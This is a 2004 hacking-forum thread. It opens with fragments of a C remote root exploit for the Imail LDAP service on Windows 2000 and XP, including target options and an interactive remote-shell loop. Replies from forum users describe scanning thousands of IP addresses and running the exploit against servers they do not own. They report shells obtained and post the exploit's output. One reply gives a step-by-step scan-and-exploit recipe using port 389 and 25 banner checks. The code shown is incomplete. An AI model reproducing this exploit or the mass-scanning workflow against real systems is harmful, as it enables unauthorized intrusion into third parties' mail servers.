/*****************************************************************************/ /* THCimail 0.1 - Wind0wZ remote root exploit */ /* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org) */ /* THC PUBLIC SOURCE MATERIALS */ /* */ /* Bug was found by idefense or some idefense slaves;) */ /* http://www.idefense.com/application/poi/display?id=74&type=vulnerabilities*/ /* */ /* compile with MS Visual C++ : cl THCimail.c */ /* */ /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */ /* scut, stealth, FtR and Random */ /*****************************************************************************/
int main(int argc, char *argv[]) { unsigned int i,sock,sock2,addr,os,ver,rc,IMAILVER; unsigned char *finalbuffer,*crapbuf1,*crapbuf2; unsigned int IMAIL6_7=60; unsigned int IMAIL_8=68;
os = (unsigned short)atoi(argv[2]); switch(os) { case 0: strcat(finalbuffer,WIN2KPG); break; case 1: strcat(finalbuffer,WIN2KPG); break; case 2: strcat(finalbuffer,WINXPSP1G); break; default: printf("\nYou entered an illegal OS !\n\n"); usage(); exit(-1); }
void usage() { unsigned int a; printf("\nUsage: <Host> <OS> <Imail Version>\n"); printf("Sample: THCimail 194.44.55.56 0 1\n\n"); printf("OS:\n"); printf("0 - Windows 2000 Server english all service packs\n"); printf("1 - Windows 2000 Professional german\n"); printf("2 - Windows XP SP1 german\n\n"); printf("Imail Version:\n"); printf("0 - Imail 6+7\n"); printf("1 - Imail 8\n"); exit(0); }
void shell(int sock) { int l; char buf[1024]; struct timeval time; unsigned long ul[2];
time.tv_sec = 1; time.tv_usec = 0;
while (1) { ul[0] = 1; ul[1] = sock;
l = select (0, (fd_set *)&ul, NULL, NULL, &time); if(l == 1) { l = recv (sock, buf, sizeof (buf), 0); if (l <= 0) { printf ("bye bye...\n"); return; } l = write (1, buf, l); if (l <= 0) { printf ("bye bye...\n"); return; } } else { l = read (0, buf, sizeof (buf)); if (l <= 0) { printf("bye bye...\n"); return; } l = send(sock, buf, l, 0); if (l <= 0) { printf("bye bye...\n"); return; } } } }
usch
Feb 26 2004, 07:02 PM
nice man.hope this is better than the one by kralor
extreme
Feb 26 2004, 07:12 PM
yap, downloaded, tested it, and it didn't work at all... I tryed ever possible server version, and even those I managed to hack with previous exploits. So, this one is the worst of them all.... Don't even waste your time with it... On secnod thought.. I am on LAN, so it might be that is why it didn't work?! Cause I don't think it requires netcat sett up... So it gotta get my IP locally, and that is 192.0.0.1 and it might not work because of that. If someone can modify it, I would be gratefull..
Sick-Boy
Feb 26 2004, 09:32 PM
Seams to work... Never got a shell though
THCimail v0.1 - Imail LDAP exploit tested on Imail 6-8 by Johnny Cyberpunk (jcyberpunk@thc.org) imailver = 68
[*] building buffer [*] connecting the target [*] Exploit send successfully ! Sleeping a while .... [*] Trying to get a shell
can't connect to port 31337 ;( maybe firewalled ...
C:\>
Im not sure how to find what version the Imail is
Leonnetje
Feb 26 2004, 09:53 PM
QUOTE (Sick-Boy @ Feb 26 2004, 09:32 PM)
Im not sure how to find what version the Imail is
Use SL to check your scans @ port 25 !! Then check the banner for you iMail version.
Checked about 30 scans with iMail 7.x version... no shells.....
Sick-Boy
Feb 26 2004, 10:14 PM
thanks ... works got a shell
THCimail v0.1 - Imail LDAP exploit tested on Imail 6-8 by Johnny Cyberpunk (jcyberpunk@thc.org) imailver = 60
[*] building buffer [*] connecting the target [*] Exploit send successfully ! Sleeping a while .... [*] Trying to get a shell
THCimail v0.1 - Imail LDAP exploit tested on Imail 6-8 by Johnny Cyberpunk (jcyberpunk@thc.org) imailver = 60
[*] building buffer [*] connecting the target [*] Exploit send successfully ! Sleeping a while .... [*] Trying to get a shell
bye bye...
extreme
Feb 26 2004, 11:14 PM
@Sick-boy Can you explain a bit more what you did... Are you on LAN, how many IPs did you check before first shell, did you set up NC listener or you just fired exploit...
Sedolf
Feb 26 2004, 11:17 PM
I had 16900 p 389 scans checked with scanline and got 20 imail servers then hacked with the thc exploit: 11 couldnt connect to ldap service 9 could connect but didnt give me a shell so no shell out of 17000 ips -> this sploit is crap (imho) btw I never got bye bye
Sick-Boy
Feb 27 2004, 12:16 AM
Yeah that was the only shell i got .... there aint many out there ....
for those who wanted to try
scan 389 put results in a txt
sl.exe -bhpt 25 -f scan.txt -o vulnerable.txt
use that in scanline look at vulnerable.txt for Imail then use the xploit
THCimail.exe <ip> <OS> <Imail Version>
for os i put 0 cause i wasnt scanning german servers
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.